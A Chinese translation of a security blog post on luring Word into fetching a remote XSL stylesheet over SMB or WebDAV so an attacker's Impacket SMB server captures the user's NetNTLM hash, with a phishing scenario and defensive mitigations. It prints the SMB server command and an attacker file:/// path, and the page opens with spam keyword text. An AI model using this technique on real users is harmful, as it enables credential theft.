压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用 Office XML 文檔捕獲 NetNTLM 哈希值

TL; DR

Office XML(.xml)文檔可以通過SMB調用遠程XSL樣式表。如果遠程XSL樣式表位于攻擊者控制的服務器,則可獲取被攻擊用戶的net-NTLM身份驗證哈希值(質詢/響應消息)。后續操作上,攻擊者可以離線破解此哈希值, 或利用其他技術進行遠程命令執行(如果用戶權限足夠且聯網)。如果被攻擊目標安全性比較差(例如出網規則較差),還可能據此對用戶發動網絡釣魚攻擊。在許多情況下,XML文檔可能會通過大多數郵件網關過濾機制和/或其他網絡安全控制。防御者可能需要將默認XML文件關聯更改為文本編輯器,因為大多數用戶都不會有打開原始Office XML文檔的需求。強密碼,可靠的出網規則(例如,禁止SMB出網流量)和用戶培訓, 可以幫助緩解這些類型的攻擊。

介紹

捕獲netNTLM(版本1或版本2)質詢/響應消息哈希值的方法網上有不少,利用/破解netNTLM哈希值的工具也有很多, 且都很棒, 例如CoreSecurity的Impacket,Laurent Gaffie的Responder@kevin_robertsonInveigh,以及Jens Steube的Hashcat。在大多數情況下,這些捕獲技術都可以歸類為后滲透(post-exploitation)技術,并且通常需要主機聯網和/或能訪問主機才能成功。在適當的情況下,這些技術可以由用戶驅動(例如,通過Microsoft Office文檔),并且很可能成為攻擊者登錄用戶主機的切入點。在這篇文章中,我們將討論一種非常規技術: 使用Microsoft Office(Word)2016進行UNC路徑重定向并捕獲netNTLM。內容包括:

  • Microsoft XML文檔的入門介紹
  • 通過操作XML樣式表捕獲NetNTLM
  • 用例,注釋和警告
  • 如何防范此類攻擊

*注意 :在繼續閱讀之前,我強烈建議您查看以下資源,以獲取有關Windows身份驗證協議和相關捕獲方法的信息:

Microsoft XML文檔的入門介紹

從 Office 2007開始,(大多數)文檔格式都是基于微軟的Office Open XML(OOXML),它是“由微軟開發的用于表示電子表格,圖表,演示文稿和文字處理文檔的基于XML的壓縮文件格式”(維基百科)。從“較新的”office擴展名,例如Microsoft Word的.docx和Excel的.xslx,就可以看得出來。

非常有趣的是,Office文檔也可以看做包含有效標記和屬性的“flat”XML文件。例如,讓我們打開MS Word 2016, 并添加一些文本, 創建一個傳統意義上的Word XML文檔:

01_word_doc_Create

將文件保存為XML格式,不要選.docx:

02_word_doc_save_as_xml

以下是該文檔的(截斷的)XML表示:

03_word_xml.PNG

點擊上面的圖片查看大圖。有趣的是,有一個包含mso-application label 的標簽:

<?mso-application progid="Word.Document"?>

ProgID實際上是一個COM標識符。Microsoft XML Handler(MSOXMLED.EXE)處理mso-application標記以加載由ProgID標識的相應Office應用程序。可以直接調用MSOXMLED.EXE來啟動相應的XML文件:

MSOXMLED.EXE /verb open "C:UsersuserDesktopword.xml"

或者,用戶可以直接啟動XML文件(在資源管理器中)并交由文件默認關聯的處理程序來處理。如果未設置默認文件關聯(Windows 10默認未設置),資源管理器將調用runonce.exe, 由用戶來選擇Office程序。Office XML Hanlder 是第一個(也是首選)選項,一旦選中,Office XML Hanlder 將成為XML文件的默認處理程序:

09_first_time_open_office_xml_handler

Office XML Handler 調用Word(winword.exe)來打開文檔:

saved_doc

*注意:還有其他的方式, 例如從Word種打開XML文件,或直接使用命令行。這些方法會“繞過”關聯的處理程序。

通過操作XML樣式表捕獲NetNTLM

從Christian Nagel 2004年發表的文章中,我提取了一個簡單的Word XML文檔和樣式表,修改后作為此攻擊方式的PoC。以下,是修改的本地XML文件(引用了一個遠程服務器的XSL文件):

04_xml_with_xsl_href

此XML文件的xml-stylesheet標簽包含遠程位置的引用(href)。此外,我們添加了mso-application標簽,以確保處理程序會將XML文檔交由適當的應用程序。

在嘗試打開此文件之前,讓我們在攻擊計算機上啟動Impacket SMB服務器:

smbserver.py -smb2support test .

06_smb_server_setup

雙擊我們的’惡意’XML文件, 打開:

07_open_word

現在,看看我們的SMB服務器日志來檢查結果:

11_captured_nethash

成功了。我們現在可以嘗試破解這個哈希!

用例,注釋和注意事項

網絡釣魚的影響

根據具體情況,XML文件可通過某種網絡釣魚技術來部署。如果攻擊目標對遠程用戶的出網過濾規則或VPN控制較弱,則攻擊者可以將Office XML文檔作為電子郵件附件發送給被攻擊者, 電子郵件很可能“在郵件網關和掃描雷達的眼皮子底下”有驚無險的抵達對方的郵件收件箱:

phish_1

雙擊并按“打開”。

注意:根據具體情況,用戶可能必須逐步點擊默認關聯的提示框。

phish_2

因為該文件來自其他位置(例如Web),Word會在受保護視圖中打開。一旦我們“啟用編輯”,就會從遠程服務器獲取XSL文檔,于是我們就可以在攻擊機上收集用戶的NetNTLM哈希值:

phish_3

樣式表參考標記

在上面的示例中,我們使用顯式UNC路徑來引用樣式表。使用file:///協議也可以:

file:///192.168.245.175/test/word.xsl

其他Microsoft Office應用程序

此種遠程加載樣式表的方式也適用于其他Office應用程序(例如Excel)。Word似乎是最簡單的。

WebDAV

Microsoft Word支持WebDAV協議。如果Word通過SMB協議無法獲取遠程樣式表,Word將嘗試使用HTTP WebDAV請求獲取遠程文件。Didier Stevens(@DidierStevens)在這篇文章中對這種行為進行了詳細的描述 – Webdav Traffic to Malicious-Sites

*注意:如果使用NTLM WebDAV進行身份驗證失敗,服務器通常會返回401(表示操作未經授權)。不同的WebDAV客戶端,處理此問題的方式也多種多樣。Explorer.exe會提示用戶輸入憑據,而Word似乎會無彈框的情況下多請求幾次資源。這種行為非常有意思,但我無法強制傳遞NTLM請求到服務器。此課題改天再做研究。

如何防范此類攻擊

  • 強密碼策略 – 使用唯一的強密碼,最大限度地減少攻擊者破解收集到的NetNTLM哈希值的機會。
  • 文件關聯 – 除非真的有業務需求,否則請考慮將XML文件的默認關聯程序更改為文本編輯器。此微軟官方文檔提供了使用GPO/GPP配置“文件類型首選項”的指南。
  • 出網規則 – 出網流量,尤其是SMB(TCP 139/445)對任何組織(或家庭)都是危險的。強制執行出網防火墻規則, 并僅開放實際需要的端口。
  • (遠程)用戶 – 但是Webmail或VPN, 但不通過隧道傳輸所有流量的遠程用戶, 可能面臨此類攻擊(以及其他類似攻擊)的威脅。如果可能,嘗試收緊遠程訪問控制策略, 并通過VPN隧道傳輸流量。最重要的是,訓練用戶打開郵件附件時務必小心謹慎。

結論

感謝您抽出寶貴時間閱讀這篇文章!與往常一樣,如果您有任何問題/反饋,請隨時給我發消息。

@bohops

原文地址:https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/

上一篇:GDPR合規審核需要遵循的4大關鍵步驟

下一篇:黑客利用未打補丁的MikroTik路由器挖礦 全球已感染20萬臺設備